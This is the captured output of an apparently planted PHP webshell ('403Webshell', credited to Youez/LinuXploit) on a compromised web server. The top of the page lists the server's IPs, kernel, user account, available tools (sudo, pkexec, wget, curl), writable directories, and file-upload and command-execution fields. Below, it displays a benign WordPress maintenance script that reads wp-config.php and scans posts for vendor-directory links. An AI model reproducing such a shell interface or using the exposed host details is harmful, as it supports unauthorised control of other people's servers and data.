403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.55
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.7
System : Linux ip-172-31-69-123.ec2.internal 6.1.177-224.371.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 20:28:29 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/wwwdev/_scripts/html_parser/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/wwwdev/_scripts/html_parser/script_vendor_link_fix.php
<?php
// example of how to use basic selector to retrieve HTML contents
	include('simple_html_dom.php');
	include('../../wp-config.php');
	//echo DB_HOST;
	//echo DB_USER;
	//echo DB_NAME;
	//phpinfo();

	$con = mysql_connect(DB_HOST,DB_USER,DB_PASSWORD);
	mysql_select_db(DB_NAME, $con);
	$sql = "SELECT * FROM wp_posts WHERE post_type = 'post' AND post_content LIKE '%/vendor-directory/%'";
	$result = mysql_query($sql) or die(mysql_error());
	$counter = 0;
	while($row = mysql_fetch_array($result)) :
		$counter = $counter + 1;
		echo '<BR />'.$row['ID'].' === '.$row['post_title'].' === '.$row['post_type'].'<BR />';
		$html = str_get_html($row['post_content']);
		foreach($html->find('a') as $e) :
			if (strpos($e->href,'/vendor-directory/') > 0) :
				echo $e->href.'<BR />';
				//echo 'Width='.$e->width.'<BR />';
				//echo 'Height='.$e->height.'<BR />';
				//$e->width = '80';
				//$e->height = '78';
			endif;
		endforeach;
		$str_content = $html;
		//$sql_upd = "UPDATE wp_posts SET post_content = '".mysql_real_escape_string($str_content)."' WHERE ID = ".$row['ID'];
		//$result_upd = mysql_query($sql_upd) or die(mysql_error());
		//echo $sql_upd.'<BR />';
		$html->clear();
		unset($html);			
	endwhile;
	echo '<br /><br />Post Counter: '.$counter;


?>

Youez - 2016 - github.com/yon3zu
LinuXploit